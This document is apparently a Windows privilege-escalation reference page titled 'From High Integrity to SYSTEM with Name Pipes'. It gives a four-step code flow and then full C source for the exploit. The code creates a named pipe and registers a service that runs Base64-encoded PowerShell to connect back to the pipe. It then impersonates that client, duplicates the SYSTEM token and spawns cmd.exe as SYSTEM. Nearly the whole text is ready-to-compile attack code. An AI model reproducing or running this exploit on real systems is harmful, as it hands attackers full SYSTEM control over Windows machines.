From High Integrity to SYSTEM with Name Pipes

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Code flow:
1.Create a new Pipe
2.Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
3.The service receive the data from the client in the pipe, call ImpersonateNamedPipeClient and waits for the service to finish
4.Finally, uses the token obtained from the service to spawn a new cmd.exe
If you don't have enough privileges the exploit may get stucked and never return.
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#include <windows.h>
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#include <time.h>
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​
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#pragma comment (lib, "advapi32")
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#pragma comment (lib, "kernel32")
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​
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#define PIPESRV "PiperSrv"
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#define MESSAGE_SIZE 512
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​
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int ServiceGo(void) {
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​
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	SC_HANDLE scManager;
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	SC_HANDLE scService;
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​
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	scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
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​
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	if (scManager == NULL) {
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		return FALSE;
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	}
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​
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	// create Piper service
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	scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
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		SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
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		"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
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		NULL, NULL, NULL, NULL, NULL);
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​
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	if (scService == NULL) {
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		//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
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		return FALSE;
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	}
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​
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	// launch it
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	StartService(scService, 0, NULL);
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​
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	// wait a bit and then cleanup
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	Sleep(10000);
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	DeleteService(scService);
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​
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	CloseServiceHandle(scService);
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	CloseServiceHandle(scManager);
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}
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​
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int main() {
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​
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	LPCSTR sPipeName = "\\\\.\\pipe\\piper";
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	HANDLE hSrvPipe;
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	HANDLE th;
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	BOOL bPipeConn;
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	char pPipeBuf[MESSAGE_SIZE];
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	DWORD dBRead = 0;
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​
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	HANDLE hImpToken;
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	HANDLE hNewToken;
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	STARTUPINFOA si;
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	PROCESS_INFORMATION pi;
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​
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	// open pipe
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	hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
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		PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
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​
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	// create and run service
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	th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);
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​
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	// wait for the connection from the service
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	bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
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	if (bPipeConn) {
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		ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);
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​
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		// impersonate the service (SYSTEM)
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		if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
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			return -1;
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		}
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​
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		// wait for the service to cleanup
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		WaitForSingleObject(th, INFINITE);
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​
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		// get a handle to impersonated token
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		if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
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			return -2;
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		}
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​
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		// create new primary token for new process
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		if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
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			TokenPrimary, &hNewToken)) {
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			return -4;
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		}
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​
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		//Sleep(20000);
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		// spawn cmd.exe as full SYSTEM user
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		ZeroMemory(&si, sizeof(si));
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		si.cb = sizeof(si);
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		ZeroMemory(&pi, sizeof(pi));
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		if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
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			NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
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			return -5;
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		}
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​
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		// revert back to original security context
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		RevertToSelf();
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​
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	}
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​
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	return 0;
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}
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